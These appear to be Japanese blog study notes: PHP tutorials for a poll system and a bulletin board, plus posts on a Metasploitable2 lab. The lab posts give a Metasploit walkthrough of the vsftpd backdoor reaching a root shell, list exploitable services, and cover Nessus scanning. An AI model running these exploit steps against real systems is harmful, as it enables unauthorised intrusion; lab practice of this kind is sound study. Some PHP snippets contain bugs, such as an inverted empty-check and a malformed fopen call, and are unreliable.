PHP で投票システム

PHP で投票システム
写真を選んで投票し
結果がグラフで見られるというものを作る
同じIP、同じブラウザでは1日1回までという制限をつける
これを作るには
html
css
jquery
php
mysql
google chart tools
これらを使う
使用する環境は、vmware player で作成した
ローカル開発環境の CentOS 6.4 64bit
PHPで作る投票システム (全13回)
http://dotinstall.com/lessons/poll_php_v2
を参考に作成していく
まずは必要となるDBの作成
#02 データベースの設定をしよう
http://dotinstall.com/lessons/poll_php_v2/9702
を参考にSQLファイルを作成する
まず、
mkdir /var/www/html/pol_php
でディレクトリを作成
ここにソースファイルをおく事にする
以下、SQLファイルの解説
create database dotinstall_poll_php;
でDB作成
grant all on dotinstall_poll_php.* to dbuser@localhost identified by ‘nk31gsfms’;

ユーザ名 dbuser
パスワード nk31gsfms
というユーザを作成して権限を与える
use dotinstall_poll_php
で使用するDBを指定
次にテーブルの作成
create table answers(
id int not null auto_*increment primary key,
answer varchar(255),
remote_addr varchar(255),
user_agent varchar(255),
answer_date date,
created datetime,
modified datetime,
unique unique_answer(remote_addr,user_agent,answer_date)
);
この意味は
id int not null auto_*increment primary key,
で自動連番の主キー作成
answer varchar(255),
は、あとでいろいろ拡張する
remote_addr varchar(255),
で、回答した人のIPアドレスが入る
user_agent varchar(255),
は、ブラウザの情報を格納する
answer_date date,
で回答した日
unique unique_answer(remote_addr,user_agent,answer_date)
は、重複して投票することがないように
uniqe_answer というキーを作っている
これに
remote_addr,user_agent,answer_date
というように複合キーにしておく
これらを元に
vim poll.sql
を作成して
create database dotinstall_poll_php;
grant all on dotinstall_poll_php.* to dbuser@localhost identified by ‘nk31gsfms’;
use dotinstall_poll_php
create table answers (
id int not null auto_increment primary key,
answer varchar(255),
remote_addr varchar(15),
user_agent varchar(255),
answer_date date,
created datetime,
modified datetime,
unique unique_answer(remote_addr, user_agent, answer_date)
);
として保存
ysql -u root -p < poll.sql でファイルを読み込んでDB作成 作成できているか確認するには mysql -u root -p でログインして show databases; でDB一覧を確認 use dotinstall_poll_php; でDBを選択して desc answers; で中身を確認することができる このように sql ファイルを作成し、 そこから読み込むようにすれば sql コマンドを打つ手間も省けるので 使いまわしとかもできる

掲示板に投稿時間の表示

掲示板に投稿時間の表示
#10 日付も表示させる
http://dotinstall.com/lessons/bbs_php/1010
を参考に
投稿時間の表示を実装
投稿された日時をdate で取得
表示するときには htmlspecialchars() で無害化する
http://jp.php.net/manual/ja/function.date.php
に様々なdate() のフォーマットがある
今回は
date(“Y-m-d H:i:s”)
時刻自体はユーザからの入力は必要ないので
投稿があったときに付け加える
$newData .=date(“|Y-m-d H:i:s”);
とすれば
.= とすることで、
$newData に現在時刻をくっつけることができる
追加するのは
array_push() の上あたり
H:i:sは、時、分、秒 という意味
時間を入れる変数を用意するので
list($message,$user)

list($message,$user,$posted)
というように変数を用意して
表示部分にも
<?php echo htmlspecialchars($message); ?>(<?php echo htmlspecialchars($use
r);?>)
から
<?php echo htmlspecialchars($message); ?>(<?php echo htmlspecialchars($user);?>) – <?php echo htmlspecialchars($posted); ?>
というように
htmlspecialchars() で表示するものを追加する

metasploitable2 vsftpd 攻略

metasploitable2 vsftpd 攻略
まず、virtualbox で
BT5R3
metasploitable2
の両方を起動
以下は、BT5R3 の操作ログ
root
でログインして
startx
でGUI起動
service nessusd start
でNessus起動
msfconsole

MSF起動
load nessus
で MSFから Nessus 接続機能ロード
nessus_connect hjuser:Nessusのパスワード@127.0.0.1
でNessus 接続
search vsftpd
で検索すると
VSFTPD v2.3.4 Backdoor Command Execution
バックドアの脆弱性と表示される
use コマンドで使用する exploit を指定
use exploit/unix/ftp/vsftpd_234_backdoor
show options
で指定可能なオプションを確認
オプションが確認できたら
RHOST の指定をする
payload の指定は不要
set RHOST 192.168.10.214
書式にすると
set RHOST metasploitable2 のIPアドレス
設定完了後Exploit を実行する
exploit
で実行
この状態になるとカーソルが点滅して何も表示されないけど
id;
とすれば
uid=0(root) gid=0(root)
と表示され、root権限であることが確認できる
また、ifconfig;
で、metasploitable2 のIPであることが確認できる
これにより、侵入成功の確認ができる
バックドアの接続切断には
Ctrl+c で
Abort session 1? [y/N]
と表示されるので
y
とすれば、セッション終了となる
このときのパケットの流れを wireshark で見る事ができる
端末から wireshark とすれば起動できるので
見てみた
書籍だと
Request: USER 4l:)
Request: PASS s
だったけど
私の場合
Request: USER cMwmJ:)
Request: PASS bma52C
でした
FTPの場合
ID、パスワードがまる見えなので
SFTP とか SCP を使わないと
wireshark などで簡単にみれてしまいます
ちなみに、今回の脆弱性は
user ID として
🙂 で終わる3文字以上の文字列なら
パスワードは何でもOKというものです
今回の参考書籍は

PHP 掲示板で投稿件数の表示

PHP 掲示板で投稿件数の表示
#07 投稿件数を表示する
http://dotinstall.com/lessons/bbs_php/1007
を参考に
投稿件数の表示
これは $posts の配列の数を echo で表示する
配列の数を数えるのは
count()
を使えば、簡単にできるので
今回は、配列は$posts に入っているので
count($posts)
で調べることができる
<h2>投稿一覧</h2>

<h2>投稿一覧 (<?php echo count($posts); ?>)件</h2>
とすれば、今の投稿件数が表示されるようになる
次に、
#08 ユーザー名も投稿させる
http://dotinstall.com/lessons/bbs_php/1008
を参考に
投稿した人の名前も表示できるようにする
まずは、form の部分を書き換える
<input type=”text” name=”message”>

message: <input type=”text” name=”message”>
name <input type =”text” name=”user”>
とする
これにより、POSTで受けとるのが
message
user
となったのでPHP部分の修正が必要になる
投稿時の判定はそのままでいいので
名前の有無で、処理をわけるようにする
if(!empty($_POST[‘user’])){
$newData =$_POST[‘message’].”|ななしさん”;
}else{
$newData = $_POST[‘message’].”|”.$_POST[‘user’];
}
こうすることで、投稿した内容である message の後ろに
投稿者の名前が表示されるようになる
もし、名前なしなら
ななしさん
というようになる
PHP では . で文字列を連結できる
java script とかだと + で連結する
$newData は、連結した文字列の格納するための変数
また、追加する内容も増えているので
array_unshift($posts, $_POST[‘message’]);
の部分を
array_unshift($posts, $newData);
というようにする
$newData という変数にしたことで、ここで書くのが
楽になっている
表示するときに
$post の中には
message
user と2つになっているので処理が必要になる
このときに使うのが
list()
explode()
list() については
http://www.scollabo.com/banban/php/ref/ref_list.html
にあるように
引数に設定した変数を配列として渡す
explode()は
http://php.quus.net/strings/explode.php
にあるように
文字列を分割して配列にして返す
explode()の構文は
explode (“区切り文字”, “分割する文字列”, “要素数(リミット)”);
<?php list($message, $user) = explode(“|”, $post); ?>
とするので
explode(“|”, $post);

$post の中の文字で | となっているところで分割する
と言う意味
表示する内容が
$message
$user
となったので
<li><?php echo htmlspecialchars($post); ?></li>

<li><?php echo htmlspecialchars($message); ?> (<?php echo htmlspecialchars($user); ?>)</li>
とする

metasploit framework から Nessus を使う

metasploit framework から Nessus を使う
Metasploit Framework には
Nessus にアクセスするためのブリッジ機能があり
この機能を使うことで
Metasploit Framework 通称 MSF から
スキャン実行、検査結果の参照などが可能になる
まずは nessusd を起動しておく
service nessusd start
次に
msfconsole
を実行して MSF起動
ターミナルが
root@bt
から
msf >
にかわれるので、わかりやすい
ここまでできたら、
load nessus
これで
Nessus に接続するための機能がロードされる
nessus_help
で、使用可能なコマンドの確認ができる
nessus_connect hjuser:password@127.0.0.1
というように
nessus connect Nessusユーザ名:パスワード@NessusホストIPアドレス
で接続
これで、接続できたら、スキャンを実行していく
まず
nessus_policy_list
でポリシーリストを表示
ここで表示されるポリシーIDは
スキャン実行時のパラメータに使う
-1 Internal Network Scan
-2 Prepare for PCI-DSS audits (section 11.2.2)
-3 Web App Tests
-4 External Network Scan
1 metasploit
が私の場合の環境
スキャンの実行は
nessus_scan_new 1 metasploit-test 192.168.10.21
というように
nessus_scan_new ポリシーID 任意のスキャンの名称 対象IPアドレス
となる
スキャンの名称は、あとで実行結果をみるときに使う
ファイル名のようなもの
ターゲットIPアドレスの指定は
複数指定も可能で , で区切って書くけど
スペースをいれるとエラーになるので注意
○ 192.168.10.214,192.168.10.244
X 192.168.10.214 , 192.168.10.244
というかんじ
スキャン中のステータスに関しては
nessus_scan_status
で確認することができる
MSFから実行したスキャン結果についても
Nessus へログインして見ることができる
今回も参考書籍は

metasploit とペネトレーションテストに関しても
書籍がでているので、こちらも参考にするとよいかも

PHP 掲示板に投稿データ書き込み

PHP 掲示板に投稿データ書き込み
#06 データを書き込む
http://dotinstall.com/lessons/bbs_php/1006
を参考に
投稿されたデータをファイルに書き込み、動作確認
ファイルポインタになる変数を作成し
fopen() でファイルを開き
モードは w 書き込みモードで行う
開くファイルは $datafile
ということで
$fp = fopen($datafile. “w”);
とする
そして、 fwrite() でデータ書き込み
fwrite($fp, implode(“\n”, $posts));
で書き込みになる
implode() は文字列の連結
\n つまり改行コードを投稿内容の先頭に連結して
前の投稿から改行するようにしている
implode-文字列関数
http://php.quus.net/strings/implode.php
をみるとわかりやすい

掲示板に投稿データの追加

掲示板に投稿データの追加
#05 投稿データを追加する
http://dotinstall.com/lessons/bbs_php/1005

を参考に
投稿されたデータを書き込み用の配列に追加
まず、投稿があったか判定するために
if で判定する
まず、POSTで投稿されているか判定するため
if($_SERVER[‘REQUEST_METHOD’] == ‘POST’){
で判定する
これでPOSTでないのなら
この if 処理は飛ばされる
投稿があったら
という処理は
!empty($_POST[‘message’])
となるので
これを && をつかって条件式にする
くっつけて表示すると
if($_SERVER[‘REQUEST_METHOD’] == ‘POST’ && !empty($_POST[‘message’])){
という条件式になる
POSTで投稿されたら、というのは決まり文句で
サーバーのリクエストメソッドがPOSTだった場合
というのが
$_SERVER[‘REQUEST_METHOD’] == ‘POST’
とかく
$posts で入力された一番最初の値を追加する
これは最新の投稿を一番最初にするようにするため
これを実装するには
array_unshift()
一つ以上の要素を配列の最初に加える
というのを使う
array_unshift($posts, $_POST[‘message’]);
これで、先頭に投稿した内容が
配列として格納されるようになる
書式にすると
array_unshift(追加する対象の配列 , 追加する内容)
このほか便利なものとして
array_shift()
配列の先頭から要素を一つ取り出す
array_push()
一つ以上の要素を配列の最後に追加する
array_pop()
配列の末尾から要素を取り除く

metasploitable2 で実験につかえそうな脆弱性

metasploitable2 で実験につかえそうな脆弱性
Nessus の診断結果から侵入できそうな脆弱性があるのは
high になっている項目で、さらにリモートに侵入できそうな脆弱性になる
vsftpd 21番ポート
これはバックドアが組み込まれているバージョンの
vsfptd
FTPログインユーザに特定の文字列を
入力することで、バックドア用の6200ポートがオープンされる
ssh デフォルトの22番ポート
OpenSSL の鍵を鍵を作成する乱数のシードとして
プロセスIDのみが使用されているため
鍵の種類が32765しかない
このため、パスワード認証なら
ブルートフォースアタックで簡単に破れてしまう
samba 139/445 番ポート
ヒープオーバーフローの脆弱性がある
このため、任意のコマンドの実行が可能
ingreslock 1524番ポート
シンプルなバックドア
telnet するだけで root シェルが取得可能
これらの脆弱性のうち
MSFで提供されている exploit は
vsftpd と samba
ちなみに
MSFは ver3 以降 ruby で書かれている
Hakcer Japan 2013 年3月号の
71Pに
Metasplotable2 の脆弱性のうち
exploit 可能なモジュールの一覧の一部が掲載されているので
こちらを参考にセキュリティの勉強をしてみると面白いかもしれない

Nessus でスキャン

Nessus でスキャン
まず、Nesssus へログインする
https://localhost:8834/flash.html
へアクセスし
ユーザ名、パスワードをいれてログイン
flash 有効化しないとできないので注意
ログイン画面で表示されているのは
Reports の画面なので
Policies をクリックして
Add を押すとポリシー新規作成画面になる
ここで
Name にポリシー名を入力するけど
この指定した名前は診断実行時に必要なので
忘れないように注意
今回は metasploit としてみた
あとは、設定は変えずにnext をクリック
Credentials画面も、設定を変えず next をクリック
Plugins では Enable All をクリックして
next をクリック
Preferences画面では、設定はそのままで
submit をクリック
これで、今回作成したポリシーができているのが
確認できる
次に、診断の実行
Scans をクリックし、Add をクリックすると
診断実行の情報の登録画面になるので
Name にはレポート名
Type には Run Now を指定して即時実行にする
Scheduled はライセンス料を払う Professional Feed でしか使えないので、今回は行わない
Templateを選択することで
診断情報を追加して手動実行することもできる
policyには先ほど作成したポリシー名
今回なら metasploit を選択し
Scan Targets には診断対象のIPアドレスを
1行に1つずつ指定する
今回は
192.16.10.214
だけにしたけど
もし、2つ以上あるのなら
192.168.10.214
192.168.10.151
というようにわけて記述する
設定ができたら、
Launch Scan をクリックして診断開始
スキャンの結果は nmap のフルスキャン同様に
かなり時間がかかるので気長に待つ

PHPで簡易掲示板の作成

PHPで簡易掲示板の作成
#01 一行掲示板の画面をつくる
http://dotinstall.com/lessons/bbs_php/1001

を参考にPHPの応用を学習
使用する環境は、ドットインストールで構築した
ローカル開発環境
まずは,
それで使うためのディレクトリを作成
掲示板なので
boardとした
mkdir /var/www/html/boad/
次に、index.php の作成
フォームと
ul 要素でリストの作成
フォームは
<form action=”” method=”post”>
<input type=”text” name=”message”>
<input type=”submit” value=”投稿”>
</form>
というように
form タグ内部に作成
リストはul 要素内部に
li 要素でリストを作っていく
action=””
となっているのは
同じファイルだから
もし、send.php というように別のファイルへおくるのなら
そのファイルを指定することになる
method=”post”
でPOST形式を指定
次に
#03 ファイルを読み込む
http://dotinstall.com/lessons/bbs_php/1003
を参考にPHP処理を追記
ファイルの先頭にPHP 処理を追記していく
読み込む外部ファイルは
ソースをそのまま使うことにする
用意できたら、index.php へ処理を記述していく
$dataFile=”bbs.dat”;
というように
ファイル名を変数に格納する
そして、ファイル全体を読み込んで配列へ格納するため
file() を使う
このときに、最後の配列に改行文字をいれないように
FILE_IGNORE_NEW_LINES
を指定しておく
このfile の結果も変数に格納しておく
これで、ファイルの読み込みは完了
次に、投稿データの表示
#04 投稿データを表示する
http://dotinstall.com/lessons/bbs_php/1004
を参考に実装
if でデータの中身があるか判定するtame
<ul>
<li>まだ投稿はありません</li>
</ul>
の部分を書き換える
<ul>
<?php if(count($posts)):?>
<?php foreach($posts as $post): ?>
<li><?php echo htmlspecialchars($post); ?></li>
<?php endforeach; ?>
<?php else:?>
<li>まだ投稿はありません</li>
<?php endif;?>
</ul>
というようにして
php で if で count の中身があるか判定して
もし、配列があるのなら
htmlspecialchars() で無害化して表示
もし、何も配列にないのなら
まだ投稿はありません
と表示する
データの読み込み成功しているのなら
ファイルに書かれた内容が
リスト表示される